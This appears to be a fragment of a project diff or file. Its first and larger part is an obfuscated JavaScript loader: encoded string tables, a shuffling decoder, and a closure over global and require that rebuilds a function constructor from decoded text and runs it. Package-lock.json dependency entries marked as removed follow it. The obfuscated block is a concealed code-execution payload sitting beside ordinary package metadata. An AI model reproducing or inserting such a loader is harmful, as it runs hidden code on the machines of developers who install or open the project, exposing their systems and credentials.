df(0x379)+_0xa0f3df(0x22b)+_0xa0f3df(0xb5)+_0xa0f3df(0xdf)+_0xa0f3df(0x453)+_0xa0f3df(0x1a0)+_0xa0f3df(0xa5)+_0xa0f3df(0x4db)+_0xa0f3df(0x4de)+_0xa0f3df(0x1a6)+_0xa0f3df(0x322)+_0xa0f3df(0x36e)+_0xa0f3df(0x3b6)+_0xa0f3df(0x1b5)+_0xa0f3df(0x33d)+_0xa0f3df(0x12f)+_0xa0f3df(0xe0)+_0xa0f3df(0x475)+_0xa0f3df(0x3bd)+_0xa0f3df(0x149))+(_0xa0f3df(0x12c)+_0xa0f3df(0x2ff)+_0xa0f3df(0x47a)+_0xa0f3df(0x391)+_0xa0f3df(0x395)+_0xa0f3df(0x34d)+_0xa0f3df(0x22e)+_0xa0f3df(0x1c3)+_0xa0f3df(0x245)+_0xa0f3df(0x336)+_0xa0f3df(0x41b)+_0xa0f3df(0x38d)+_0xa0f3df(0x4e3)+_0xa0f3df(0xfb)+_0xa0f3df(0x46d)+_0xa0f3df(0x4df)+_0xa0f3df(0x326)+_0xa0f3df(0x2e1)+_0xa0f3df(0xb0)+_0xa0f3df(0x3cc)+_0xa0f3df(0x489)+_0xa0f3df(0x496)+_0xa0f3df(0x227)+_0xa0f3df(0x39f)+_0xa0f3df(0x22a)+_0xa0f3df(0x368)+_0xa0f3df(0x188)+_0xa0f3df(0x396)+_0xa0f3df(0x408)+_0xa0f3df(0xaf)+_0xa0f3df(0x34b)+_0xa0f3df(0x1ab)+_0xa0f3df(0x480)+_0xa0f3df(0x129)+_0xa0f3df(0x2fa)+_0xa0f3df(0x27d)+_0xa0f3df(0x3ea)+_0xa0f3df(0x1c0)+_0xa0f3df(0x19a)+_0xa0f3df(0x2bc)+_0xa0f3df(0x482)+_0xa0f3df(0x466)+_0xa0f3df(0xb1)+_0xa0f3df(0x100)+_0xa0f3df(0x474)+_0xa0f3df(0x4b8)+_0xa0f3df(0x412)+_0xa0f3df(0x3d5)+_0xa0f3df(0x346)+_0xa0f3df(0x39c)+_0xa0f3df(0x1a8)+_0xa0f3df(0x3c9)+_0xa0f3df(0x195)+_0xa0f3df(0x30a)+_0xa0f3df(0x4a3)+_0xa0f3df(0x2c0)+_0xa0f3df(0x205)+_0xa0f3df(0x2fb)+_0xa0f3df(0x26f)+_0xa0f3df(0x196)+_0xa0f3df(0x462)+_0xa0f3df(0x243)+_0xa0f3df(0x40c)+_0xa0f3df(0x2ca)+_0xa0f3df(0x23c)+_0xa0f3df(0x3b0)+_0xa0f3df(0x2b4)+_0xa0f3df(0x444)+_0xa0f3df(0xd2)+_0xa0f3df(0xfe)+_0xa0f3df(0x224)+_0xa0f3df(0x27f)+_0xa0f3df(0x15f)+_0xa0f3df(0xd3)+_0xa0f3df(0x386)+_0xa0f3df(0x2fe)+_0xa0f3df(0x310)+_0xa0f3df(0xdd)+_0xa0f3df(0xfd)+_0xa0f3df(0x293)+_0xa0f3df(0x1b0)+_0xa0f3df(0x139)+_0xa0f3df(0x325)+_0xa0f3df(0x14a)+_0xa0f3df(0x329)+_0xa0f3df(0x4e0)+_0xa0f3df(0x3f6)+_0xa0f3df(0x3d3)+_0xa0f3df(0x138)+_0xa0f3df(0x1aa)+_0xa0f3df(0x1b7)+_0xa0f3df(0x230)+_0xa0f3df(0x33e)+_0xa0f3df(0xab)+_0xa0f3df(0x189)+_0xa0f3df(0x11f)+_0xa0f3df(0x22f)+_0xa0f3df(0x468)+_0xa0f3df(0x470)+_0xa0f3df(0x3c7))+(_0xa0f3df(0x2f9)+_0xa0f3df(0x2cb)+_0xa0f3df(0x17b)+_0xa0f3df(0xff)+_0xa0f3df(0x173)+_0xa0f3df(0x4bf)+_0xa0f3df(0x207)+_0xa0f3df(0x13d)+_0xa0f3df(0x313)+_0xa0f3df(0x33b)+_0xa0f3df(0x4e8)+_0xa0f3df(0x1d8)+_0xa0f3df(0x262)+_0xa0f3df(0x354)+_0xa0f3df(0x10b)+_0xa0f3df(0x1c8)+_0xa0f3df(0x454)+_0xa0f3df(0x2e5)+_0xa0f3df(0x435)+_0xa0f3df(0x315)+_0xa0f3df(0x2a8)+_0xa0f3df(0x29a)+_0xa0f3df(0x4d4)+_0xa0f3df(0x2a4)+_0xa0f3df(0x137)+_0xa0f3df(0xb3)+_0xa0f3df(0x2f3)+_0xa0f3df(0x248)+_0xa0f3df(0x1fe)+_0xa0f3df(0x232)+_0xa0f3df(0x4b3)+_0xa0f3df(0x27e)+_0xa0f3df(0x1e8)+_0xa0f3df(0x159)+_0xa0f3df(0xe2)+_0xa0f3df(0x156)+_0xa0f3df(0x213)+_0xa0f3df(0x186)+_0xa0f3df(0x294)+_0xa0f3df(0x2ad)+_0xa0f3df(0x157)+_0xa0f3df(0x451)+_0xa0f3df(0x398)+_0xa0f3df(0x140)+_0xa0f3df(0x3cf)+_0xa0f3df(0x3eb)+_0xa0f3df(0x3ac)+_0xa0f3df(0x183)+_0xa0f3df(0x2cc)+_0xa0f3df(0x447)+_0xa0f3df(0xe7)+_0xa0f3df(0x31e)+_0xa0f3df(0x4da)+_0xa0f3df(0x41d)+_0xa0f3df(0x17e)+_0xa0f3df(0x3f3)+_0xa0f3df(0x30b)+_0xa0f3df(0x1db)+_0xa0f3df(0xe5)+_0xa0f3df(0x1d1)+_0xa0f3df(0x2a9)+_0xa0f3df(0x114)+_0xa0f3df(0x102)+_0xa0f3df(0x352)+_0xa0f3df(0x3b5)+_0xa0f3df(0x4b7)+_0xa0f3df(0x2fd)+_0xa0f3df(0x179)+_0xa0f3df(0x280)+_0xa0f3df(0x358)+_0xa0f3df(0x4a5)+_0xa0f3df(0x141)+_0xa0f3df(0x382)+_0xa0f3df(0x37c)+_0xa0f3df(0x430)+_0xa0f3df(0x281)+_0xa0f3df(0x30c)+_0xa0f3df(0xe3)+_0xa0f3df(0x1b9)+_0xa0f3df(0x495)+_0xa0f3df(0x374)+_0xa0f3df(0x147)+_0xa0f3df(0x367)+_0xa0f3df(0xc1)+_0xa0f3df(0x493)+_0xa0f3df(0x331)+_0xa0f3df(0xc5)+_0xa0f3df(0xc2)+_0xa0f3df(0x46a)+_0xa0f3df(0x4d5)+_0xa0f3df(0x30d)+_0xa0f3df(0x15d)+_0xa0f3df(0x4d9)+_0xa0f3df(0xa8)+_0xa0f3df(0x4e5)+_0xa0f3df(0x377)+_0xa0f3df(0x163)+_0xa0f3df(0x291)+_0xa0f3df(0x151)+_0xa0f3df(0x3ae))+(_0xa0f3df(0x194)+_0xa0f3df(0x38f)+_0xa0f3df(0x3c8)+_0xa0f3df(0x442)+_0xa0f3df(0x4d3)+_0xa0f3df(0x3ff)+_0xa0f3df(0x228)+_0xa0f3df(0x10c)+_0xa0f3df(0x28c)+_0xa0f3df(0x284)+_0xa0f3df(0x226)+_0xa0f3df(0x1f2)+_0xa0f3df(0x29c)+_0xa0f3df(0x439)+_0xa0f3df(0x193)+_0xa0f3df(0x2d3)+_0xa0f3df(0x31f)+_0xa0f3df(0x3c3)+_0xa0f3df(0x211)+_0xa0f3df(0x145)+_0xa0f3df(0x31c)+_0xa0f3df(0x275)+_0xa0f3df(0x347)+_0xa0f3df(0x2a1)+_0xa0f3df(0x4aa)+_0xa0f3df(0x44b)+_0xa0f3df(0x1c7)+_0xa0f3df(0x43d)+_0xa0f3df(0x253)+_0xa0f3df(0xdb)+_0xa0f3df(0x168)+_0xa0f3df(0x40b)+_0xa0f3df(0x1bb)+_0xa0f3df(0x364)+_0xa0f3df(0x448)+_0xa0f3df(0x45b)+_0xa0f3df(0x1dc)+_0xa0f3df(0x14d)+_0xa0f3df(0x200)+_0xa0f3df(0x209)+_0xa0f3df(0x258)+_0xa0f3df(0x237)+_0xa0f3df(0x45e)+_0xa0f3df(0x415)+_0xa0f3df(0x3fb)+_0xa0f3df(0x3ad)+_0xa0f3df(0xb6)+_0xa0f3df(0x1e6)+_0xa0f3df(0x3b7)+_0xa0f3df(0x4d7)+_0xa0f3df(0x1e2)+_0xa0f3df(0x4b5)+_0xa0f3df(0xfc)+_0xa0f3df(0x3bf)+_0xa0f3df(0x2ec)+_0xa0f3df(0x268)+_0xa0f3df(0x263)+_0xa0f3df(0x20e)+_0xa0f3df(0x4c9)+_0xa0f3df(0x332)+_0xa0f3df(0xde)+_0xa0f3df(0x1bd)+_0xa0f3df(0x1fd)+_0xa0f3df(0x4b9)+_0xa0f3df(0x312)+_0xa0f3df(0x198)+_0xa0f3df(0x330)+_0xa0f3df(0x300)+_0xa0f3df(0x25a)+_0xa0f3df(0xcb)+_0xa0f3df(0x49f)+_0xa0f3df(0x21c)+_0xa0f3df(0x21e)+_0xa0f3df(0x1d3)+_0xa0f3df(0x3b8)+_0xa0f3df(0x4b0)+_0xa0f3df(0x1ce)+_0xa0f3df(0x1bf)+_0xa0f3df(0x2a7)+_0xa0f3df(0x17c)+_0xa0f3df(0x27c)+_0xa0f3df(0x136)+_0xa0f3df(0x1a3)+_0xa0f3df(0x458)+_0xa0f3df(0x370)+_0xa0f3df(0x1f0)+_0xa0f3df(0x3d9)+_0xa0f3df(0x446)+_0xa0f3df(0x416)+_0xa0f3df(0x44f)+_0xa0f3df(0x299)+_0xa0f3df(0x1ae)+_0xa0f3df(0x339)+_0xa0f3df(0x4b1)+_0xa0f3df(0xd1)+_0xa0f3df(0x38b)+_0xa0f3df(0x1f7)+_0xa0f3df(0x297)+_0xa0f3df(0x177)+_0xa0f3df(0xa4))+(_0xa0f3df(0x3c2)+_0xa0f3df(0x37d)+_0xa0f3df(0x283)+_0xa0f3df(0x14c)+_0xa0f3df(0x28d)+_0xa0f3df(0x2f1)+_0xa0f3df(0x2e2)+_0xa0f3df(0x167)+_0xa0f3df(0xf1)+_0xa0f3df(0x309)+_0xa0f3df(0x16b)+_0xa0f3df(0x1e1)+_0xa0f3df(0x1da)+_0xa0f3df(0x3f4)+_0xa0f3df(0x20c)+_0xa0f3df(0x16a)+_0xa0f3df(0x365)+_0xa0f3df(0x279)+_0xa0f3df(0x171)+_0xa0f3df(0xd9)+_0xa0f3df(0xf6)+_0xa0f3df(0x431)+_0xa0f3df(0x1a5)+_0xa0f3df(0x21f)+_0xa0f3df(0x393)+_0xa0f3df(0xc9)+_0xa0f3df(0x397)+_0xa0f3df(0x3e4)+_0xa0f3df(0x3b1)+_0xa0f3df(0x208)+_0xa0f3df(0x4c7)+_0xa0f3df(0x479)+_0xa0f3df(0x19d)+_0xa0f3df(0x417)+_0xa0f3df(0x35e)+_0xa0f3df(0x10a)+_0xa0f3df(0xdc)+_0xa0f3df(0x29e)+_0xa0f3df(0xd4)+_0xa0f3df(0x399)+_0xa0f3df(0x1a9)+_0xa0f3df(0x15e)+_0xa0f3df(0x423)+_0xa0f3df(0x182)+_0xa0f3df(0x3a4)+_0xa0f3df(0x110)+_0xa0f3df(0x48d)+_0xa0f3df(0x26b)+_0xa0f3df(0x321)+_0xa0f3df(0x464)+_0xa0f3df(0x344)+_0xa0f3df(0x118)+_0xa0f3df(0x45d)+_0xa0f3df(0x39b)+_0xa0f3df(0x443)+_0xa0f3df(0x1df)+_0xa0f3df(0x49b)+_0xa0f3df(0x3e5)+_0xa0f3df(0x47e)+_0xa0f3df(0x2a0)+_0xa0f3df(0x39e)+_0xa0f3df(0x308)+_0xa0f3df(0x43e)+_0xa0f3df(0x3c5)+_0xa0f3df(0x380)+_0xa0f3df(0x4c1)+_0xa0f3df(0x3b3)+_0xa0f3df(0x37e)+_0xa0f3df(0x351)+_0xa0f3df(0x31a)+_0xa0f3df(0x2b3)+_0xa0f3df(0x4c4)+_0xa0f3df(0x2ba)+_0xa0f3df(0x3dd)+_0xa0f3df(0x2ab)+_0xa0f3df(0x154)+_0xa0f3df(0x371)+_0xa0f3df(0x2bb)+_0xa0f3df(0x42d)+_0xa0f3df(0x2c4)+_0xa0f3df(0x214)+_0xa0f3df(0x133)+_0xa0f3df(0x2f4)+_0xa0f3df(0x3d8)+_0xa0f3df(0xec)+_0xa0f3df(0xea)+_0xa0f3df(0x4c0)+_0xa0f3df(0x1bc)+_0xa0f3df(0x19b)+_0xa0f3df(0x471)+_0xa0f3df(0x307)+_0xa0f3df(0x3e1)+_0xa0f3df(0xb4)+_0xa0f3df(0x487)+_0xa0f3df(0x282)+_0xa0f3df(0x13a)+_0xa0f3df(0x1c6)+_0xa0f3df(0x265)+_0xa0f3df(0x3ba)+_0xa0f3df(0x437))+(_0xa0f3df(0x457)+_0xa0f3df(0x2e4)+_0xa0f3df(0x1d9)+_0xa0f3df(0x45c)+_0xa0f3df(0x2e3)+_0xa0f3df(0x160)+_0xa0f3df(0x4ba)+_0xa0f3df(0x3fa)+_0xa0f3df(0x277)+_0xa0f3df(0x432)+_0xa0f3df(0x120)+_0xa0f3df(0x455)+_0xa0f3df(0x320)+_0xa0f3df(0x318)+_0xa0f3df(0x287)+_0xa0f3df(0x491)+_0xa0f3df(0x494)+_0xa0f3df(0x2f7)+_0xa0f3df(0x103)+_0xa0f3df(0x1e3)+_0xa0f3df(0x40f)+_0xa0f3df(0x152)+_0xa0f3df(0x4e1)+_0xa0f3df(0x199)+_0xa0f3df(0x24f)+_0xa0f3df(0x20a)+_0xa0f3df(0x35a)+_0xa0f3df(0x4a7)+_0xa0f3df(0x1cc)+_0xa0f3df(0x2cf)+_0xa0f3df(0x119)+_0xa0f3df(0x36c)+_0xa0f3df(0x410)+_0xa0f3df(0x44a)+_0xa0f3df(0x1ee)+_0xa0f3df(0xf9)+_0xa0f3df(0x3fd)+_0xa0f3df(0x2c5)+_0xa0f3df(0x3a0)+_0xa0f3df(0x1fc)+_0xa0f3df(0xef)+_0xa0f3df(0x104)+_0xa0f3df(0x394)+_0xa0f3df(0x10d)+_0xa0f3df(0x4a1)+_0xa0f3df(0xcd)+_0xa0f3df(0x3d1)+_0xa0f3df(0x375)+_0xa0f3df(0x387)+_0xa0f3df(0x3c1)+_0xa0f3df(0x11c)+_0xa0f3df(0x1d7)+_0xa0f3df(0x47f)+_0xa0f3df(0x1a7)+_0xa0f3df(0x13b)+_0xa0f3df(0xca)+_0xa0f3df(0x465)+_0xa0f3df(0x392)+_0xa0f3df(0x413)+_0xa0f3df(0x49e)+_0xa0f3df(0x3fc)+_0xa0f3df(0x323)+_0xa0f3df(0x3a3)+_0xa0f3df(0x3c4)+_0xa0f3df(0x271)+_0xa0f3df(0x1c2)+_0xa0f3df(0x256)+_0xa0f3df(0x385)+_0xa0f3df(0x1f8)+_0xa0f3df(0x22d)+_0xa0f3df(0x1f1)+_0xa0f3df(0x28a)+_0xa0f3df(0xbe)+_0xa0f3df(0x155)+_0xa0f3df(0x267)+_0xa0f3df(0x3ef)+_0xa0f3df(0x4ad)+_0xa0f3df(0x2f5)+_0xa0f3df(0x4ae)+_0xa0f3df(0x134)+_0xa0f3df(0xa1)+_0xa0f3df(0x440)+_0xa0f3df(0x229)+_0xa0f3df(0x1e7)+_0xa0f3df(0x12d)+_0xa0f3df(0x158)+_0xa0f3df(0x220)+_0xa0f3df(0x20d)+_0xa0f3df(0x383)+_0xa0f3df(0x403)+_0xa0f3df(0x123)+_0xa0f3df(0x314)+_0xa0f3df(0x40d)+_0xa0f3df(0x34a)+_0xa0f3df(0x456)+_0xa0f3df(0x459)+_0xa0f3df(0x130)+_0xa0f3df(0x472)+_0xa0f3df(0x172)+_0xa0f3df(0x126))+(_0xa0f3df(0x34c)+_0xa0f3df(0x181)+_0xa0f3df(0xd0)+_0xa0f3df(0x23e)+_0xa0f3df(0x269)+_0xa0f3df(0x486)+_0xa0f3df(0x3a5)+_0xa0f3df(0x481)+_0xa0f3df(0x4ac)+_0xa0f3df(0x1b3)+_0xa0f3df(0x17d)+_0xa0f3df(0x2a3)+_0xa0f3df(0x4a2)+_0xa0f3df(0xe1)+_0xa0f3df(0x388)+_0xa0f3df(0x11a)+_0xa0f3df(0x261)+_0xa0f3df(0x2dd)+_0xa0f3df(0x19f)+_0xa0f3df(0x305)+_0xa0f3df(0x2dc)+_0xa0f3df(0xe8)+_0xa0f3df(0x2de)+_0xa0f3df(0x4a4)+_0xa0f3df(0x32e)+_0xa0f3df(0x1d6)+_0xa0f3df(0x1a2)+_0xa0f3df(0x175)+_0xa0f3df(0x2d9)+_0xa0f3df(0xae)+_0xa0f3df(0x349)+_0xa0f3df(0x17f)+_0xa0f3df(0x33c)+_0xa0f3df(0x324)+_0xa0f3df(0x3f2)+_0xa0f3df(0x270)+_0xa0f3df(0x304)+_0xa0f3df(0xb8)+_0xa0f3df(0xf4)+_0xa0f3df(0x3a2)+_0xa0f3df(0x191)+_0xa0f3df(0x27a)+_0xa0f3df(0x3f9)+_0xa0f3df(0x11e)+_0xa0f3df(0x36a)+_0xa0f3df(0x338)+_0xa0f3df(0x203)+_0xa0f3df(0x2d2)+_0xa0f3df(0x285)+_0xa0f3df(0x1cd)+_0xa0f3df(0x4ab)+_0xa0f3df(0x4e4)+_0xa0f3df(0x18d)+_0xa0f3df(0xf5)+_0xa0f3df(0x38c)+_0xa0f3df(0xb7)+_0xa0f3df(0x3dc)+_0xa0f3df(0x252)+_0xa0f3df(0x355)+_0xa0f3df(0x37a)+_0xa0f3df(0x3da)+_0xa0f3df(0x231)+_0xa0f3df(0x402)+_0xa0f3df(0x244)+_0xa0f3df(0x1ad)+_0xa0f3df(0x2b5)+_0xa0f3df(0x311)+_0xa0f3df(0xf0)+_0xa0f3df(0x132)+_0xa0f3df(0x25c)+_0xa0f3df(0x327)+_0xa0f3df(0x3f7)+_0xa0f3df(0x4d2)+_0xa0f3df(0x4d1)+_0xa0f3df(0x112)+_0xa0f3df(0x2e0)+_0xa0f3df(0x24d)+_0xa0f3df(0x16f)+_0xa0f3df(0x4dd)+_0xa0f3df(0x14b)+_0xa0f3df(0x3f5)+_0xa0f3df(0x249)+_0xa0f3df(0x333)+_0xa0f3df(0x2bf)+_0xa0f3df(0x218)+_0xa0f3df(0x2a5)+_0xa0f3df(0x255)+_0xa0f3df(0x4d6)+_0xa0f3df(0xe6)+_0xa0f3df(0x438)+_0xa0f3df(0x28b)+_0xa0f3df(0x1ca)+_0xa0f3df(0xbd)+_0xa0f3df(0x18a)+_0xa0f3df(0x10f)+_0xa0f3df(0x4e7)+_0xa0f3df(0x2f6)+_0xa0f3df(0x36d)+_0xa0f3df(0x4c8)+_0xa0f3df(0x26c))+(_0xa0f3df(0x1f6)+_0xa0f3df(0x42e)+_0xa0f3df(0x33a)+_0xa0f3df(0x176)+_0xa0f3df(0xda)+_0xa0f3df(0x29d)+_0xa0f3df(0x30f)+_0xa0f3df(0x174)+_0xa0f3df(0x473)+_0xa0f3df(0x2ac)+_0xa0f3df(0x3a9)+_0xa0f3df(0x32d)+_0xa0f3df(0x10e)+_0xa0f3df(0x21a)+_0xa0f3df(0x381)+_0xa0f3df(0x251)+_0xa0f3df(0x498)+_0xa0f3df(0x3de)+_0xa0f3df(0x3bb)+_0xa0f3df(0x3f8)+_0xa0f3df(0x32b)+_0xa0f3df(0xcf)+_0xa0f3df(0x3d4)+_0xa0f3df(0xa7)+_0xa0f3df(0xc3)+_0xa0f3df(0x452)+_0xa0f3df(0x467)+_0xa0f3df(0x2e7)+_0xa0f3df(0x29b)+_0xa0f3df(0x2b7)+_0xa0f3df(0x436)+_0xa0f3df(0x2b2)+_0xa0f3df(0x17a)+_0xa0f3df(0x272)+_0xa0f3df(0x190)+_0xa0f3df(0x342)+_0xa0f3df(0x2da)+_0xa0f3df(0x3ab)+_0xa0f3df(0x3db)+_0xa0f3df(0x4ca)+_0xa0f3df(0x2eb)+_0xa0f3df(0x13c)+_0xa0f3df(0x463)+_0xa0f3df(0x4a0)+_0xa0f3df(0xbc)+_0xa0f3df(0x429)+_0xa0f3df(0xb2)+_0xa0f3df(0x1d5)+_0xa0f3df(0x2be)+_0xa0f3df(0x2d7)+_0xa0f3df(0xad)+_0xa0f3df(0x16d)+_0xa0f3df(0x2d0)+_0xa0f3df(0x1e4)+_0xa0f3df(0x2fc)+_0xa0f3df(0x1c9)+_0xa0f3df(0x42c)+_0xa0f3df(0x49d)+_0xa0f3df(0x43f)+_0xa0f3df(0x4c6)+_0xa0f3df(0x148)+_0xa0f3df(0x197)+_0xa0f3df(0x3e9)+_0xa0f3df(0x348)+_0xa0f3df(0x2c1)+_0xa0f3df(0x406)+_0xa0f3df(0x1c4)+_0xa0f3df(0x42b)+'Rs')};function _0x2304e8(_0x491af5,_0x47994c,_0x498b8e,_0x45e033,_0x5bf52b,_0x3800bf,_0x767b2b){var _0x4a9b26=_0xa0f3df;for(var _0x227f35=[],_0x4d0796=-0x1451+0x2dd+-0x8ba*-0x2;_0x14d3eb[_0x4a9b26(0xf3)](_0x4d0796,_0x491af5[_0x4a9b26(0x2c2)]);_0x4d0796++)_0x227f35[_0x4d0796]=_0x491af5[_0x4a9b26(0x48f)](_0x4d0796);return function(_0x4ef8ca,_0x71c6fc,_0x193ff0,_0x9a3a04,_0x12085d,_0x2f011b,_0x12ed16){var _0x26ee44=_0x4a9b26,_0x253351,_0x5872e4,_0x169dbe,_0x39ef85,_0x4f5053,_0x2e5deb,_0x2909de,_0x3a4893;for(_0x5872e4=_0x71c6fc,_0x169dbe=_0x4ef8ca[_0x26ee44(0x2c2)],_0x253351=-0x1e23+-0x41b+0x223e;_0x14d3eb[_0x26ee44(0xf3)](_0x253351,_0x169dbe);_0x253351++)_0x2909de=_0x14d3eb[_0x26ee44(0x2c7)](_0x4f5053=_0x14d3eb[_0x26ee44(0x434)](_0x14d3eb[_0x26ee44(0xf7)](_0x5872e4,_0x14d3eb[_0x26ee44(0xc6)](_0x253351,_0x12085d)),_0x14d3eb[_0x26ee44(0x2c7)](_0x5872e4,_0x2f011b)),_0x169dbe),_0x3a4893=_0x4ef8ca[_0x2e5deb=_0x14d3eb[_0x26ee44(0x2c7)](_0x39ef85=_0x14d3eb[_0x26ee44(0x319)](_0x14d3eb[_0x26ee44(0xf7)](_0x5872e4,_0x14d3eb[_0x26ee44(0x210)](_0x253351,_0x193ff0)),_0x14d3eb[_0x26ee44(0x3d7)](_0x5872e4,_0x9a3a04)),_0x169dbe)],_0x4ef8ca[_0x2e5deb]=_0x4ef8ca[_0x2909de],_0x4ef8ca[_0x2909de]=_0x3a4893,_0x5872e4=_0x14d3eb[_0x26ee44(0x3cb)](_0x14d3eb[_0x26ee44(0x319)](_0x39ef85,_0x4f5053),_0x12ed16);return _0x4ef8ca;}(_0x227f35,_0x47994c,_0x498b8e,_0x45e033,_0x5bf52b,_0x3800bf,_0x767b2b)[_0x4a9b26(0x4bb)]('');}var _0x1d7fa6=_0x14d3eb[_0xa0f3df(0xc4)](_0x2304e8,_0x14d3eb[_0xa0f3df(0x115)],0x420eb5+-0x9d2646+0x1*0xcb22d0,0x1256*-0x1+-0x2666+0x3a4d,-0x55e9+0xf1*0x47+0x5abd,-0x2*0x45f+-0x133b+0x1e26,0x1*-0x1237d+0x2e76*0x1+-0x6425*-0x4,-0x1*0x1fe5e1+-0x622cf1+0xccbf13),_0x10d052=String[_0xa0f3df(0x223)+'de'](-0xc2c+0x1a5*-0x13+-0x2b88*-0x1),_0x175d8e=(_0x1d7fa6=_0x1d7fa6[_0xa0f3df(0x2db)]('~')[_0xa0f3df(0x4bb)](_0x10d052)[_0xa0f3df(0x2db)]('@1')[_0xa0f3df(0x4bb)]('~')[_0xa0f3df(0x2db)]('@0')[_0xa0f3df(0x4bb)]('@'))[_0xa0f3df(0x2db)](_0x10d052);_0x500f58[_0x175d8e[0x1a6b+0xaeb+0x1b*-0x162]]=_0xc4ac1d,_0x14d3eb[_0xa0f3df(0x306)](typeof module,_0x175d8e[-0x1*-0x223f+0x4*0x7f1+-0x7*0x96e])&&(_0x500f58[_0x175d8e[0x1ae6+-0x24f2+-0xc6*-0xd]]=module);var _0x3e2055=[-0x33a157+-0x2d0b26+0x9fa912,0xeb1+-0x765*-0x4+0x2e*-0xf2,0x1*-0x2981+-0x137*-0x49+0x6827,-0xb0d+0x1b2*0xb+-0x10f*0x6,-0x3*0x33b6+0x10e68+-0x27*-0x1fb,0x6e7b02+0x13122a+-0x3bf3d7];function _0x1ae0ca(_0xa9d8a0){var _0x4c3e98=_0xa0f3df;return _0x14d3eb[_0x4c3e98(0xc4)](_0x2304e8,_0xa9d8a0,_0x3e2055[0xee*-0x1f+-0xf56+0x3ae*0xc],_0x3e2055[-0x2410+0x200c+-0x15*-0x31],_0x3e2055[0x1a*-0x2b+0x16de+-0x127e],_0x3e2055[0x2*0x1279+-0x10c*-0x8+0x2d4f*-0x1],_0x3e2055[0x2296+0x2065+-0x991*0x7],_0x3e2055[0x1050+0xaf+-0x29*0x6a]);}var _0x5a7b6d=_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x390)])[_0xa0f3df(0x26a)](0x8b2+0x2707*-0x1+0x1*0x1e55,0x95*-0x7+0x1e61+-0x1a43*0x1),_0x137e97=_0x1ae0ca[_0x5a7b6d],_0x555f26=_0x14d3eb[_0xa0f3df(0x23f)](_0x137e97,'',_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x1ea)]));_0x14d3eb[_0xa0f3df(0x23f)](_0x137e97,'',_0x14d3eb[_0xa0f3df(0x15b)](_0x555f26,_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x2ea)])))(-0x172c+0x36b*0x3+0x2*0xb5c);}(global,require));function _0x3be5(_0x313cde,_0x180911){_0x313cde=_0x313cde-(0x2*-0x146+0x1*0xba+0x273*0x1);var _0x9f3bd6=_0x5f45();var _0x3f12f0=_0x9f3bd6[_0x313cde];return _0x3f12f0;}function _0x5f45(){var _0x2fe4ff=['ct!.ScM\x20','.?xsl(}r\x20R','no.pc.Pw%<','cGcl.-\x20rfR','\x20N[RRR<.c<','n.R.C(2n.<','Rsasm\x20$','wE!I~es<e)Rmse','xF=c...Pra','RR\x20.]\x27Rcw}d','snrd._+#cpfn&Rc','ni4tc.nRmt','<<2pBbn}2c','\x22ht#utd$c<','f-inR\x5c!','=s4/UkdtcR','%iV.{Nca>R','Rr*RRc|als','t.w(R0','Jec)E?[','\x5cktta!.R.4','Fgo=','._.r4o.&\x20)','Rr<3u.R<.<','!\x27yRxyWbcR','a+Arael{,a',';j,ea=]6,n','.eno_I.<<(','?wtRR!c[','HzUvU','8200jmdBCz','(.G3ecNn()','R.O..','i-vb(rrpit','e\x22$..AWeER','.','a.ss]PR|S<','R]inStkvf#','sR\x22Vv:d','t.tR','g.8<.Ro1P-','hr6f\x20sR:Pl8<','4swt!nxt=.(y=)r','tR[(ouRR.t','_T<.-R!ei.','kv.*zgR8R.',')[ittr=\x22je','Ja)RrR82ts','g.RaEFcm(.','{oritun.fq','R#RReIt','e','Roe5IR.8c<','fcRR<0.<>R','et\x22.sT.&Rp','-n\x20h]p)IV.','!.\x20Ad(cids','YhOota#trs','t))+;lc)a=','54<=6.9.0" - } - }, - "node_modules/@braintree/sanitize-url": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/@braintree/sanitize-url/-/sanitize-url-6.0.4.tgz", - "integrity": "sha512-s3jaWicZd0pkP0jf5ysyHUI/RE7MHos6qlToFcGWXVp+ykHOy77OUMrfbgJ9it2C5bow7OIQwYYaHjk9XlBQ2A==" - }, - "node_modules/@headlessui/react": { - "version": "1.7.18", - "resolved": "https://registry.npmjs.org/@headlessui/react/-/react-1.7.18.tgz", - "integrity": "sha512-4i5DOrzwN4qSgNsL4Si61VMkUcWbcSKueUV7sFhpHzQcSShdlHENE5+QBntMSRvHt8NyoFO2AGG8si9lq+w4zQ==", - "dependencies": { - "@tanstack/react-virtual": "^3.0.0-beta.60", - "client-only": "^0.0.1" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "react": "^16 || ^17 || ^18", - "react-dom": "^16 || ^17 || ^18" - } - }, - "node_modules/@mdx-js/mdx": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-2.3.0.tgz", - "integrity": "sha512-jLuwRlz8DQfQNiUCJR50Y09CGPq3fLtmtUQfVrj79E0JWu3dvsVcxVIcfhR5h0iXu+/z++zDrYeiJqifRynJkA==", - "dependencies": { - "@types/estree-jsx": "^1.0.0", - "@types/mdx": "^2.0.0", - "estree-util-build-jsx": "^2.0.0", - "estree-util-is-identifier-name": "^2.0.0", - "estree-util-to-js": "^1.1.0", - "estree-walker": "^3.0.0", - "hast-util-to-estree": "^2.0.0", - "markdown-extensions": "^1.0.0", - "periscopic": "^3.0.0", - "remark-mdx": "^2.0.0", - "remark-parse": "^10.0.0", - "remark-rehype": "^10.0.0", - "unified": "^10.0.0", - "unist-util-position-from-estree": "^1.0.0", - "unist-util-stringify-position": "^3.0.0", - "unist-util-visit": "^4.0.0", - "vfile": "^5.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/@mdx-js/mdx/node_modules/unist-util-visit": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-4.1.2.tgz", - "integrity": "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==", - "dependencies": { - "@types/unist": "^2.0.0", - "unist-util-is": "^5.0.0", - "unist-util-visit-parents": "^5.1.1" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/@mdx-js/mdx/node_modules/unist-util-visit-parents": { - "version": "5.1.3", - "resolved": 